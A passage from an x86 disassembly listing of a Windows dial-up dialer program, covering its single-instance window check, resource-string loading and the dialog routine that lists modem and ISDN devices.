		add	esp, 4
		mov	[ebp+var_30], ebx


loc_405BAF:				; CODE XREF: sub_405830+371j
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-298h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405BD0	proc near		; CODE XREF: sub_405C90+25p

lParam		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		push	0FFFFFFE0h	; nIndex
		mov	byte ptr [esp+14h+lParam], 0
		mov	eax, [esi+4]
		push	eax		; hWnd
		call	ds:GetClassWord	; GetClassWord
		mov	ecx, [esi+4]
		push	0FFFFFFEBh	; nIndex
		push	ecx		; hWnd
		mov	word ptr [esp+18h+lParam+2], ax
		call	ds:GetWindowLongA	; GetWindowLongA
		mov	edx, [esi+4]
		mov	[esp+10h+var_8], eax
		lea	eax, [esp+10h+lParam]
		mov	[esp+10h+var_4], edx
		push	eax		; lParam
		push	offset EnumFunc	; lpEnumFunc
		call	ds:EnumWindows	; EnumWindows
		mov	al, byte ptr [esp+10h+lParam]
		pop	esi
		add	esp, 0Ch
		retn
sub_405BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; BOOL __stdcall EnumFunc(HWND,LPARAM)

EnumFunc	proc near		; DATA XREF: sub_405BD0+38o

hWnd		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+hWnd]
		push	edi
		mov	edi, [esp+8+arg_4]
		cmp	[edi+8], esi
		jz	short loc_405C7A
		push	0FFFFFFE0h	; nIndex
		push	esi		; hWnd
		call	ds:GetClassWord	; GetClassWord
		cmp	[edi+2], ax
		jnz	short loc_405C7A
		push	0FFFFFFEBh	; nIndex
		push	esi		; hWnd
		call	ds:GetWindowLongA	; GetWindowLongA
		cmp	[edi+4], eax
		jnz	short loc_405C7A
		mov	byte ptr [edi],	1
		mov	al, ds:byte_40D718
		test	al, al
		jz	short loc_405C5C
		push	0
		jmp	short loc_405C5E
; ---------------------------------------------------------------------------


loc_405C5C:				; CODE XREF: EnumFunc+36j
		push	5		; nCmdShow


loc_405C5E:				; CODE XREF: EnumFunc+3Aj
		push	esi		; hWnd
		call	ds:ShowWindow	; ShowWindow
		push	esi		; hWnd
		call	ds:SetForegroundWindow	; SetForegroundWindow
		push	esi		; hWnd
		call	ds:SetFocus	; SetFocus
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_405C7A:				; CODE XREF: EnumFunc+Dj EnumFunc+1Cj	...
		pop	edi
		mov	eax, 1
		pop	esi
		retn	8
EnumFunc	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __thiscall sub_405C90(int,int,int,int,int)

sub_405C90	proc near		; CODE XREF: sub_402180+35p

String		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_6E		= byte ptr -6Eh
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_42		= byte ptr -42h
var_40		= dword	ptr -40h
bstrString	= dword	ptr -3Ch
lpMem		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_12		= byte ptr -12h
lParam		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		push	12345h		; dwNewLong
		push	0FFFFFFEBh	; nIndex
		mov	eax, [esi+4]
		mov	byte ptr [esi+4Eh], 1
		push	eax		; hWnd
		call	ds:SetWindowLongA	; SetWindowLongA
		mov	ecx, esi
		call	sub_405BD0
		test	al, al
		jz	short loc_405CD9
		mov	ecx, esi
		call	sub_405180
		mov	eax, 1
		lea	esp, [ebp-2A4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_405CD9:				; CODE XREF: sub_405C90+2Cj
		mov	eax, [esi+1Ch]
		lea	ecx, [ebp+String]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	66h		; uID
		push	eax		; hInstance
		mov	[ebp+var_1], bl
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], bl
		mov	[ebp+var_12], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	edi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	loc_405DCF
		lea	eax, [ebp+String]
		test	eax, eax
		jz	short loc_405D5E
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	edi		; cchWideChar
		push	eax		; lpWideCharStr
		lea	edx, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[ebp+psz], eax
		mov	[eax], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [ebp+psz]


loc_405D5E:				; CODE XREF: sub_405C90+91j
		push	eax		; psz
		call	ds:SysAllocString
		lea	ecx, [ebp+bstrString]
		mov	[ebp+bstrString], eax
		call	sub_40A2D0
		cmp	byte ptr [eax],	25h
		setnz	[ebp+var_1]


loc_405D77:				; CODE XREF: sub_405C90+142j
		mov	eax, [ebp+bstrString]
		mov	edi, ds:SysFreeString
		push	eax		; bstrString
		call	edi ; SysFreeString
		mov	al, [ebp+var_1]
		mov	[ebp+bstrString], ebx
		cmp	al, 1
		jz	short loc_405DD4
		mov	ecx, lpFile
		push	ecx		; lpFile
		mov	ecx, esi
		call	sub_404FF0
		mov	ecx, esi
		call	sub_405180
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_405DB5
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405DB5:				; CODE XREF: sub_405C90+117j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	edi ; SysFreeString
		mov	eax, 1
		lea	esp, [ebp-2A4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_405DCF:				; CODE XREF: sub_405C90+83j
		mov	[ebp+bstrString], ebx
		jmp	short loc_405D77
; ---------------------------------------------------------------------------


loc_405DD4:				; CODE XREF: sub_405C90+FBj
		mov	ecx, esi
		mov	[esi+5Ch], ebx
		mov	[esi+54h], bl
		mov	[esi+55h], bl
		mov	[esi+56h], bl
		call	sub_407EC0
		mov	ecx, esi
		mov	[esi+58h], ebx
		call	sub_408980
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		mov	[esi+58h], edx
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_405E38
		mov	eax, offset aXx	; "xx"
		mov	edi, edx


loc_405E0B:				; CODE XREF: sub_405C90+199j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_405E2F
		cmp	cl, bl
		jz	short loc_405E2B
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_405E2F
		add	edi, 2
		add	eax, 2
		cmp	cl, bl
		jnz	short loc_405E0B


loc_405E2B:				; CODE XREF: sub_405C90+185j
		xor	eax, eax
		jmp	short loc_405E34
; ---------------------------------------------------------------------------


loc_405E2F:				; CODE XREF: sub_405C90+181j
					; sub_405C90+18Fj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_405E34:				; CODE XREF: sub_405C90+19Dj
		cmp	eax, ebx
		jnz	short loc_405EA7


loc_405E38:				; CODE XREF: sub_405C90+172j
		mov	ecx, esi
		call	sub_406E60
		test	eax, eax
		jge	short loc_405E63
		push	73h		; uID
		mov	ecx, esi
		call	sub_405020
		mov	ecx, esi
		call	sub_405180
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	loc_405F4F
		jmp	loc_405F43
; ---------------------------------------------------------------------------


loc_405E63:				; CODE XREF: sub_405C90+1B1j
		mov	ecx, esi
		call	sub_408980
		mov	[esi+58h], eax
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		jnz	short loc_405EA7
		push	73h		; uID
		mov	ecx, esi
		call	sub_405020
		mov	ecx, esi
		call	sub_405180
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_405E9E
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405E9E:				; CODE XREF: sub_405C90+200j
		mov	ecx, [ebp+bstrString]
		push	ecx
		jmp	loc_405F53
; ---------------------------------------------------------------------------


loc_405EA7:				; CODE XREF: sub_405C90+1A6j
					; sub_405C90+1E9j
		push	5FCh		; dwBytes
		call	sub_40AF50
		add	esp, 4
		cmp	eax, ebx
		jz	short loc_405F26
		mov	ecx, eax
		call	sub_4094A0
		cmp	eax, ebx
		mov	dword_40FBC8, eax
		jz	short loc_405F2C
		mov	ecx, eax
		call	sub_409520
		test	al, al
		jz	short loc_405F2C
		mov	ecx, esi
		call	sub_405830
		mov	eax, [esi+1Ch]
		lea	edx, [ebp+String]
		push	200h		; cchBufferMax
		push	edx		; lpBuffer
		push	75h		; uID
		push	eax		; hInstance
		mov	[ebp+var_6C], ebx
		mov	[ebp+var_68], ebx
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], bl
		mov	[ebp+var_42], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edi, eax
		mov	eax, [ebp+var_6C]
		push	eax		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	loc_406003
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_405F6D
		xor	eax, eax
		jmp	loc_405FA8
; ---------------------------------------------------------------------------


loc_405F26:				; CODE XREF: sub_405C90+226j
		mov	dword_40FBC8, ebx


loc_405F2C:				; CODE XREF: sub_405C90+236j
					; sub_405C90+241j
		push	73h		; uID
		mov	ecx, esi
		call	sub_405020
		mov	ecx, esi
		call	sub_405180
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_405F4F


loc_405F43:				; CODE XREF: sub_405C90+1CEj
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405F4F:				; CODE XREF: sub_405C90+1C8j
					; sub_405C90+2B1j
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString


loc_405F53:				; CODE XREF: sub_405C90+212j
		call	ds:SysFreeString
		mov	eax, 1
		lea	esp, [ebp-2A4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_405F6D:				; CODE XREF: sub_405C90+28Dj
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	edi		; cchWideChar
		mov	[ebp+psz], eax
		push	eax		; lpWideCharStr
		mov	[eax], bx
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [ebp+psz]


loc_405FA8:				; CODE XREF: sub_405C90+291j
		push	eax		; psz
		call	ds:SysAllocString
		cmp	eax, ebx
		mov	[ebp+var_6C], eax
		jz	short loc_405FC5
		push	eax		; BSTR
		call	ds:SysStringLen
		test	eax, eax
		jnz	loc_406052


loc_405FC5:				; CODE XREF: sub_405C90+324j
					; sub_405C90+376j
		mov	eax, [esi+1Ch]
		lea	ecx, [ebp+String]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		push	76h		; uID
		push	eax		; hInstance
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+var_6C]
		mov	edi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	short loc_40604F
		lea	eax, [ebp+String]
		test	eax, eax
		jnz	short loc_406008
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_6C], eax
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_406003:				; CODE XREF: sub_405C90+27Fj
		mov	[ebp+var_6C], ebx
		jmp	short loc_405FC5
; ---------------------------------------------------------------------------


loc_406008:				; CODE XREF: sub_405C90+365j
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	edi		; cchWideChar
		push	eax		; lpWideCharStr
		lea	edx, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[ebp+psz], eax
		mov	[eax], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [ebp+psz]
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_6C], eax
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_405C90+35Bj
		mov	[ebp+var_6C], ebx


loc_406052:				; CODE XREF: sub_405C90+32Fj
					; sub_405C90+371j ...
		lea	ecx, [ebp+var_6C]
		call	sub_40A2D0
		push	eax		; lpString
		mov	eax, [esi+4]
		push	eax		; hWnd
		call	ds:SetWindowTextA	; SetWindowTextA
		push	385h		; uID
		push	1		; nIDDlgItem
		mov	ecx, esi
		call	sub_405680
		push	70h		; uID
		push	0CDh		; nIDDlgItem
		mov	ecx, esi
		call	sub_405680
		mov	eax, [esi+1Ch]
		lea	ecx, [ebp+String]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		push	7Ah		; uID
		push	eax		; hInstance
		mov	[ebp+var_98], ebx
		mov	[ebp+var_94], ebx
		mov	[ebp+var_90], ebx
		mov	[ebp+var_8C], bl
		mov	[ebp+var_6E], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+var_98]
		mov	edi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	short loc_40612A
		lea	eax, [ebp+String]
		test	eax, eax
		jnz	short loc_4060E0
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_98], eax
		jmp	short loc_406130
; ---------------------------------------------------------------------------


loc_4060E0:				; CODE XREF: sub_405C90+43Fj
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	edi		; cchWideChar
		push	eax		; lpWideCharStr
		lea	edx, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[ebp+psz], eax
		mov	[eax], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [ebp+psz]
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_98], eax
		jmp	short loc_406130
; ---------------------------------------------------------------------------


loc_40612A:				; CODE XREF: sub_405C90+435j
		mov	[ebp+var_98], ebx


loc_406130:				; CODE XREF: sub_405C90+44Ej
					; sub_405C90+498j
		cmp	[esi+4Dh], bl
		jz	short loc_406140
		mov	ecx, dword_40FBC8
		call	sub_40A2C0


loc_406140:				; CODE XREF: sub_405C90+4A3j
		lea	ecx, [ebp+var_98]
		call	sub_40A2D0
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409840
		test	eax, eax
		jz	loc_4061EC
		push	1F9h		; uID
		call	ds:GetLastError
		push	eax		; int
		push	27Dh		; lpString
		push	offset Mem	; "D:\\Work\\Splendo\\Dialer\\working\\dialer h"...
		push	esi		; int
		call	sub_4051A0
		mov	eax, [ebp+var_94]
		add	esp, 14h
		cmp	eax, ebx
		jz	short loc_406197
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_94], ebx


loc_406197:				; CODE XREF: sub_405C90+4F6j
		mov	eax, [ebp+var_98]
		mov	esi, ds:SysFreeString
		push	eax		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+var_68]
		cmp	eax, ebx
		jz	short loc_4061B9
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_68], ebx


loc_4061B9:				; CODE XREF: sub_405C90+51Bj
		mov	ecx, [ebp+var_6C]
		push	ecx		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_4061D2
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_4061D2:				; CODE XREF: sub_405C90+534j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	esi ; SysFreeString
		mov	eax, 1
		lea	esp, [ebp-2A4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4061EC:				; CODE XREF: sub_405C90+4C9j
		mov	ecx, dword_40FBC8
		call	sub_409B80
		mov	ecx, dword_40FBC8
		mov	[ebp+lParam], eax
		call	sub_409710
		cmp	eax, ebx
		mov	[ebp+var_40], eax
		mov	[ebp+var_1], bl
		mov	[ebp+psz], 0FFFFFFFFh
		jg	short loc_40628B
		mov	ecx, esi
		call	sub_405180
		mov	eax, [ebp+var_94]
		cmp	eax, ebx
		jz	short loc_406236
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_94], ebx


loc_406236:				; CODE XREF: sub_405C90+595j
		mov	eax, [ebp+var_98]
		mov	esi, ds:SysFreeString
		push	eax		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+var_68]
		cmp	eax, ebx
		jz	short loc_406258
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_68], ebx


loc_406258:				; CODE XREF: sub_405C90+5BAj
		mov	ecx, [ebp+var_6C]
		push	ecx		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_406271
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_406271:				; CODE XREF: sub_405C90+5D3j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	esi ; SysFreeString
		mov	eax, 1
		lea	esp, [ebp-2A4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_40628B:				; CODE XREF: sub_405C90+584j
		cmp	eax, ebx
		mov	[ebp+var_C], ebx
		jle	loc_40636A


loc_406296:				; CODE XREF: sub_405C90+6CFj
		mov	eax, [ebp+var_C]
		mov	ecx, dword_40FBC8
		push	eax
		call	sub_4097B0
		mov	edi, eax
		push	offset aModem	; "modem"
		push	edi		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	short loc_4062CB
		push	offset aIsdn	; "isdn"
		push	edi		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_406353


loc_4062CB:				; CODE XREF: sub_405C90+625j
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	ecx, dword_40FBC8
		call	sub_409780
		mov	edx, [esi+4]
		mov	edi, eax
		push	edi		; lParam
		push	ebx		; wParam
		push	143h		; Msg
		push	0C9h		; nIDDlgItem
		push	edx		; hDlg
		call	ds:SendDlgItemMessageA	; SendDlgItemMessageA
		cmp	[ebp+psz], 0FFFFFFFFh
		jnz	short loc_4062FE
		mov	eax, [ebp+var_C]
		mov	[ebp+psz], eax


loc_4062FE:				; CODE XREF: sub_405C90+666j
		mov	ecx, [ebp+lParam]
		cmp	[ecx], bl
		jnz	short loc_406322
		mov	edx, [ebp+var_C]
		mov	ecx, dword_40FBC8
		push	edx
		call	sub_409720
		mov	ecx, dword_40FBC8
		call	sub_409B80
		mov	[ebp+lParam], eax


loc_406322:				; CODE XREF: sub_405C90+673j
		cmp	[ebp+var_1], bl
		jnz	short loc_406353
		mov	eax, [ebp+lParam]
		push	edi		; lpString2
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_406353
		mov	ecx, [ebp+lParam]
		mov	edx, [esi+4]
		push	ecx		; lParam
		push	ebx		; wParam
		push	14Dh		; Msg
		push	0C9h		; nIDDlgItem
		push	edx		; hDlg
		call	ds:SendDlgItemMessageA	; SendDlgItemMessageA
		mov	[ebp+var_1], 1


loc_406353:				; CODE XREF: sub_405C90+635j
					; sub_405C90+695j ...
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_40]
		inc	eax
		cmp	eax, ecx
		mov	[ebp+var_C], eax
		jl	loc_406296
		cmp	[ebp+var_1], bl
		jnz	short loc_40639A


loc_40636A:				; CODE XREF: sub_405C90+600j
		mov	eax, [ebp+psz]
		mov	ecx, dword_40FBC8
		push	eax
		call	sub_409720
		mov	ecx, dword_40FBC8
		call	sub_409B80
		mov	ecx, [esi+4]
		push	eax		; lParam
		push	ebx		; wParam
		push	14Dh		; Msg
		push	0C9h		; nIDDlgItem
		push	ecx		; hDlg
		call	ds:SendDlgItemMessageA	; SendDlgItemMessageA


loc_40639A:				; CODE XREF: sub_405C90+6D8j
		lea	ecx, [esi+20h]
		call	sub_4092B0
		mov	edx, [esi+4]
		push	ebx		; lParam
		push	2		; wParam
		push	0C5h		; Msg
		push	0CEh		; nIDDlgItem
		push	edx		; hDlg
		call	ds:SendDlgItemMessageA	; SendDlgItemMessageA
		mov	ecx, dword_40FBC8
		call	sub_409C10
		push	eax		; lpString
		push	0CEh		; nIDDlgItem
		mov	ecx, esi
		call	sub_4057A0
		mov	eax, [esi+4]
		mov	edi, ds:GetDlgItem
		push	0CEh		; nIDDlgItem
		push	eax		; hDlg
		call	edi ; GetDlgItem
		push	1		; bEnable
		push	eax		; hWnd
		call	ds:EnableWindow	; EnableWindow
		mov	ecx, [esi+4]
		push	0C9h		; nIDDlgItem
		push	ecx		; hDlg
		call	edi ; GetDlgItem
		push	1		; bEnable
		push	eax		; hWnd
		call	ds:EnableWindow	; EnableWindow
		mov	edx, [esi+4]
		push	1		; nIDDlgItem
		push	edx		; hDlg
		call	edi ; GetDlgItem
		push	1		; bEnable
		push	eax		; hWnd
		call	ds:EnableWindow	; EnableWindow
		mov	eax, [esi+4]
		push	0CEh		; nIDDlgItem
		push	eax		; hDlg
		call	edi ; GetDlgItem
		push	eax		; hWnd
		call	ds:SetFocus	; SetFocus
		mov	ecx, [esi+1Ch]
		push	ebx		; fuLoad
		push	ebx		; cy
		push	ebx		; cx
		push	1		; type
		push	32h		; name
		push	ecx		; hInst
		call	ds:LoadImageA	; LoadImageA
		mov	edx, [esi+4]
		push	eax		; lParam
		push	1		; wParam
		push	80h		; Msg
		push	edx		; hWnd
		call	ds:SendMessageA	; SendMessageA
		mov	ecx, dword_40FBC8
		call	sub_4099D0
		mov	ecx, esi
		call	sub_4086F0
		cmp	[esi+4Ch], bl
		jz	short loc_40646C
		push	ebx		; lParam
		push	ebx		; wParam
		push	0F5h		; Msg
		push	1		; nIDDlgItem
		mov	ecx, esi
		call	sub_404FC0


loc_40646C:				; CODE XREF: sub_405C90+7CAj
		mov	eax, [ebp+var_94]
		mov	[esi+4Eh], bl
		cmp	eax, ebx
		jz	short loc_406488
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_94], ebx


loc_406488:				; CODE XREF: sub_405C90+7E7j
		mov	eax, [ebp+var_98]
		mov	esi, ds:SysFreeString
		push	eax		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+var_68]
		cmp	eax, ebx
		jz	short loc_4064AA
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_68], ebx


loc_4064AA:				; CODE XREF: sub_405C90+80Cj
		mov	ecx, [ebp+var_6C]
		push	ecx		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_4064C3
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_4064C3:				; CODE XREF: sub_405C90+825j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	esi ; SysFreeString
		lea	esp, [ebp-2A4h]
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_405C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4064E0	proc near		; CODE XREF: sub_402180+7Ap
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		mov	eax, [esi+5Ch]
		cmp	eax, ebx
		jz	short loc_40650C
		cmp	eax, 2
		jle	short loc_406556
		cmp	eax, 7
		jg	short loc_406556
		push	386h		; uID
		push	1		; nIDDlgItem
		mov	dword ptr [esi+5Ch], 8
		call	sub_405680
		jmp	short loc_406544
; ---------------------------------------------------------------------------


loc_40650C:				; CODE XREF: sub_4064E0+Bj
		mov	cl, byte_40F3B8
		push	ebx		; lParam
		neg	cl
		sbb	ecx, ecx
		push	ebx		; wParam
		and	ecx, 0FFFFFFFEh
		push	184h		; Msg
		add	ecx, 3
		push	0CCh		; nIDDlgItem
		mov	[esi+5Ch], ecx
		mov	byte_40F3B8, bl
		mov	edx, [esi+4]
		mov	[esi+54h], bl
		push	edx		; hDlg
		mov	[esi+55h], bl
		mov	[esi+56h], bl
		call	ds:SendDlgItemMessageA	; SendDlgItemMessageA


loc_406544:				; CODE XREF: sub_4064E0+2Aj
		mov	eax, [esi+4]
		push	ebx		; lpTimerFunc
		push	0FAh		; uElapse
		push	1		; nIDEvent
		push	eax		; hWnd
		call	ds:SetTimer	; SetTimer


loc_406556:				; CODE XREF: sub_4064E0+10j
					; sub_4064E0+15j
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	10h
sub_4064E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_406560(int,LPCWSTR lpString,int)

sub_406560	proc near		; CODE XREF: sub_406670+4Ep
					; sub_406720+1D5p ...

String		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	edx, [ebp+lpString]
		mov	ecx, [ecx+1Ch]
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+String]
		push	200h		; cchBufferMax
		add	edx, 24B8h
		push	eax		; lpBuffer
		push	edx		; uID
		push	ecx		; hInstance
		call	ds:LoadStringA	; LoadStringA
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		mov	[ebp+var_4], esi
		mov	eax, [ebx]
		push	eax		; bstrString
		call	ds:SysFreeString
		test	esi, esi
		jz	short loc_4065FB
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_4065B6
		xor	edi, edi
		push	edi		; psz
		call	ds:SysAllocString
		jmp	short loc_4065FD
; ---------------------------------------------------------------------------


loc_4065B6:				; CODE XREF: sub_406560+49j
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, [ebp+var_4]
		push	edi		; psz
		call	ds:SysAllocString
		jmp	short loc_4065FD
; ---------------------------------------------------------------------------


loc_4065FB:				; CODE XREF: sub_406560+3Fj
		xor	eax, eax


loc_4065FD:				; CODE XREF: sub_406560+54j
					; sub_406560+99j
		test	esi, esi
		mov	[ebx], eax
		jz	short loc_40664B
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	ecx, [ebx]
		push	eax		; ui
		push	ecx		; strIn
		call	ds:SysAllocStringLen
		mov	edx, [ebp+arg_0]
		lea	esi, [ebx+0Ch]
		mov	[edx], eax
		mov	eax, [ebx+4]
		mov	[edx+4], eax
		mov	ecx, [ebx+8]
		mov	[edx+8], ecx
		lea	edi, [edx+0Ch]
		mov	ecx, 7
		rep movsd
		movsw
		mov	al, [ebx+2Ah]
		mov	[edx+2Ah], al
		mov	eax, edx
		lea	esp, [ebp-210h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
